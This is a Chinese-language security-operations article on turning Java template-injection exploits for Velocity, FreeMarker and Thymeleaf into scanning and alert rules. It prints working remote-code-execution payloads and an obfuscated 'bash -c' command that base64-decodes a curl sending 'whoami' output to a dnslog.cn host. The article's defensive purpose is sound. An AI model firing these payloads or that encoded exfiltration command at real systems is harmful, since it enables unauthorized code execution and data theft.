一、前言
二、漏洞利用原理分析
三、检测能力生成实践
四、总结和展望
安全检测能力是企业安全运营中的关键一环,在网络威胁风险识别和快速响应方面起着重要的作用。在安全运营工作中,漏洞自动化检测和威胁流量的识别方面显得尤为重要,依据模拟攻击中的漏洞利用,通过漏洞分析,提取对应的漏洞有效利用载荷(payload),形成规则库。本篇文章主要介绍到家基于漏洞的利用实现安全检测能力的建设实践。
我们整体建设的思路是依据ATT&CK中的知识体系,基于各阶段不同漏洞的有效利用载荷(payload)生成对应的检测能力。具体步骤如下:
工程师基于漏洞原理分析复现提取有效利用载荷(payload)
利用漏洞payload生成自动化漏洞检测和威胁流量检测规则
利用生成的规则进行漏洞测试以及恶意攻击行为识别
结合漏洞原理和漏洞payload进行漏洞修复和安全防护
本文针对java中Velocity、FreeMarker以及Thymeleaf三个模板的注入漏洞进行分析实现攻击payload的提取,通过该漏洞payload生成对应安全检测能力。
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。
语法概要
在 Velocity 中所有的关键字都是以#开头的,而所有的变量则是以$开头
"#"用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#iinclude、#parse、#macro等;
"$"用来标识一个对象(或理解为变量);如$i、$msg、$TagUtil.options(...)等;
"{}"用来明确标识Velocity变量;
"!"用来强制把不存在的变量显示为空白;
该漏洞的利用payload如下:
payload:%23set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
访问/ssti/velocity?template=并提交payload
断点进行拦截提交的payload,并跟进Velocity.evaluate方法进行分析
继续跟进evaluate方法
RuntimeInstance类中封装了evaluate方法
跟进分析,可以看到parse方法对reader进行解析
进行一次判断,如果nodeTree不为空则进入render方法
多次循环后会进行execute方法下进行for循环,进行payload的遍历
遍历完成后命令成功执行
FreeMarker 是一款模板引擎:即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。
当需要一个类似Output的页面时,就可以利用FreeMarker模板代码来进行生成。
FreeMarker模板代码:
<html>
<head>
<title>Welcome</title>
</head>
<body>
<h1>Welcome ${user}!</h1>
</body>
</html>
模板文件存放在Web服务器上,就像通常存放静态HTML页面那样。当有人来访问这个页面, FreeMarker将会介入执行,然后动态转换模板,用最新的数据内容替换模板中 ${...} 的部分, 之后将结果发送到访问者的Web浏览器中。
FreeMarker模板注入主要利用freemarker.template.utility里面的Excute类来执行命令,利用FreeMarker中的内建函数new,new是用来创建一个确定的 TemplateModel 实现变量的内建函数,新建一个Excute类,并将需要执行的命令传入其中。
具体的payload的构造按照该内建函数的用法进行构造,可以参考http://freemarker.foofun.cn/ref_builtins_expert.html#ref_builtin_new,具体用法如下:
<#-- Creates an user-defined directive be calling the parameterless constructor of the class -->
<#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()>
<#-- Creates an user-defined directive be calling the constructor with one numerical argument -->
<#assign word_wrapp_narrow = "com.acmee.freemarker.WordWrapperDirective"?new(40)>
漏洞的利用分析通过监控漏洞在payload提交后的代码层利用链来实现。该漏洞的利用payload如下:
payload:<
请求/hello获取模板,可以看出数据成功提交到了模板中展示
构造payload,请求/template
post提交payload,注入恶意模板代码,并在for循环中进行断点调试
可以看出stringLoader,也就是StringTemplateLoader函数下的putTemplate通过key:value的形式获取到传入的payload,达到注入hello.ftl的效果
再访问/hello获取模板,达到恶意代码执行的效果。
Thymeleaf是springboot官方推荐使用的java模板引擎,提供spring标准方言和一个与 SpringMVC 完美集成的可选模块,可以快速的实现表单绑定、属性编辑器、国际化等功能。
Thymeleaf简单表达式:
● 变量表达式:${...}
● 选择变量表达式:*{...}
● 消息表达式:#{...}
● 链接网址表达式:@{...}
● 片段表达式:~{...}
简单的Thymeleaf模板代码
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<title>Good Thymes Virtual Grocery</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="stylesheet" type="text/css" media="all"
href="../../css/gtvg.css" th:href="@{/css/gtvg.css}" />
</head>
<body>
<p th:text="#{home.welcome}">Welcome to our grocery store!</p>
</body>
</html>
该漏洞的利用有两种不同的方式,因此会构造出2个不同的payload,对于对应的漏洞利用方式进行记录。
漏洞利用方法一:
漏洞利用payload如下:
payload:__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
uri:/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x
访问系统进行抓包,并提交对应的payload,
进行数据提交,成功获取到提交的payload,
进行跟进,在 org.thymeleaf.spring5.view 中的 ThymeleafView类中thymeleaf 在解析包含 :: 的模板名时,会将其作为表达式去进行执行。
在StandarExpressionPreprocessor类中利用正则对\_\_(.*?)\_\_进行匹配,也就是payload__中间的内容
匹配处理完成后为${new.java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc").getInputStream()).next()}
继续跟进execute
可以看到是使用的SPEL 引擎,满足__(${SPEL})__::格式达到注入的效果
进入后成功执行代码
漏洞利用方法二:
漏洞利用payload如下:
payload:__$%7BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x
uri:/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x
访问系统进行抓包,并提交对应的payload,
因为该请求无返回值,因此返回值无法作为模板名,这个时候传入的参数也就是payload便作为了视图名
进行跟进,在 org.thymeleaf.spring5.view 中的 ThymeleafView类中thymeleaf 在解析包含 :: 的模板名时,会将其作为表达式去进行执行。
继续跟进,在StandarExpressionPreprocessor类中利用正则对\_\_(.*?)\_\_进行匹配,也就是payload__中间的内容,匹配处理完成后为${T(java.lang.Runtime).getRuntime().exec(%22calc%22)}
可以看到是使用的SPEL引擎,满足__(${SPEL})__::格式达到注入的效果
通过上述对应Java中的三个模板注入漏洞的利用原理分析,梳理出整体的攻击流程和利用链,对于其中攻击的payload进行提取,可以根据payload实现对应自动化漏洞检测能力和安全运营平台威胁检测能力的生成。
下表为三个模板注入模拟攻击过程中的payload,整个漏洞攻击的复现过程以测试提取为目的,因此最终执行的命令以弹出计算器为目的。但是实际漏洞利用或者威胁识别的过程对整个payload的规则验证准确性要求非常高,这样才能保证检测结果的准确性和高效性。
velocity | %23set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc") |
FreeMarker | <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("calc") } |
Thymeleaf | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x __$%7BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x |
3.2 自动化漏洞检测能力
安全漏洞的自动化检测过程中,上述提取的payload肯定是无法直接使用的,实际检测过程中漏洞是否存在系统本身弹出计算机之类的行为对于自动化检测平台来说本身是无法检测识别到的,也没有权限进行识别。因此大部分自动化漏洞检测平台更多会依赖dns请求日志来识别payload是否执行成功。这块需要对payload中执行的命令进行调整。以dnslog为例,对需要执行的命令进行编码生成最终的命令。
curl `whoami`.8uuq15.dnslog.cn
Y3VybCBgd2hvYW1pYC44dXVxMTUuZG5zbG9nLmNu
bash -c {echo,Y3VybCBgd2hvYW1pYC44dXVxMTUuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}
对不同的payload的命令进行替换便可以实现漏洞检测,具体dns日志平台以内部的为主。
velocity | %23set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash -c {echo,Y3VybCBgd2hvYW1pYC44dXVxMTUuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}") |
FreeMarker | <#assign ex="freemarker.template.utility.Execute"?new()>${ ex("bash -c {echo,Y3VybCBgd2hvYW1pYC44dXVxMTUuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}") } |
Thymeleaf | __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22bash -c {echo,Y3VybCBgd2hvYW1pYC44dXVxMTUuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}%22).getInputStream()).next()%7d__::.x __$%7BT(java.lang.Runtime).getRuntime().exec(%22bash -c {echo,Y3VybCBgd2hvYW1pYC44dXVxMTUuZG5zbG9nLmNu}|{base64,-d}|{bash,-i}%22)%7D__::.x |
3.3 安全运营检测能力
安全运营中威胁检测的能力来说,上述提取到的payload中对应的关键字段可以进行规则的编辑生成,这边以FreeMarker模板注入为例,生成对应的攻击检测规则。
当系统检测到流量日志中存在该payload的对应攻击请求时便会进行告警提示
这时根据告警数据可以第一时间确定具体攻击请求的详细信息,对攻击行为进行验证和溯源。
漏洞原理分析在提取出有效利用载荷的同时也会确定出漏洞修复和防护方案,当检测到存在该漏洞或者有相关攻击时,研发和安全分别可以进行修复以及防御。
安全漏洞:首先自动化漏洞检测发现存在该漏洞,其次研发人员依据生成的漏洞修复方案进行修复,最后安全工程师进行复测验证
恶意攻击:首先运营平台告警发现该漏洞攻击,其次安全设备进行拦截阻断,最后安全和其他团队溯源分析
目前依据ATT&CK框架知识体系,基于不同阶段的漏洞分析生成对应的安全检测能力,但对于安全检测能力的生成也不能仅限于单个的漏洞规则。在安全运营工作中,对于一次完整攻击的攻击链,更多是针对不同的安全告警进行分析和研判,再溯源分析整个攻击行为的全过程。这对于很多攻击事件来说本身具有滞后性,整个分析的过程和周期也是不同。因此自动化提取出整个攻击行为的攻击链,对于分析过程十分必要,能够提升分析的效率。我们知道一次成功的攻击包含着多个阶段,检测告警识别时,依据时间、漏洞阶段以及指纹信息进行联动标记,自动生成完整攻击链,辅助安全分析人员进行分析溯源。例如,在一定时间段,随时间变化出现了struts2漏洞的探测、webshell上传、文件下载三个关键操作,平台可以直接进行标记为struts2漏洞利用攻击。这也是我们正在探索的一个方向。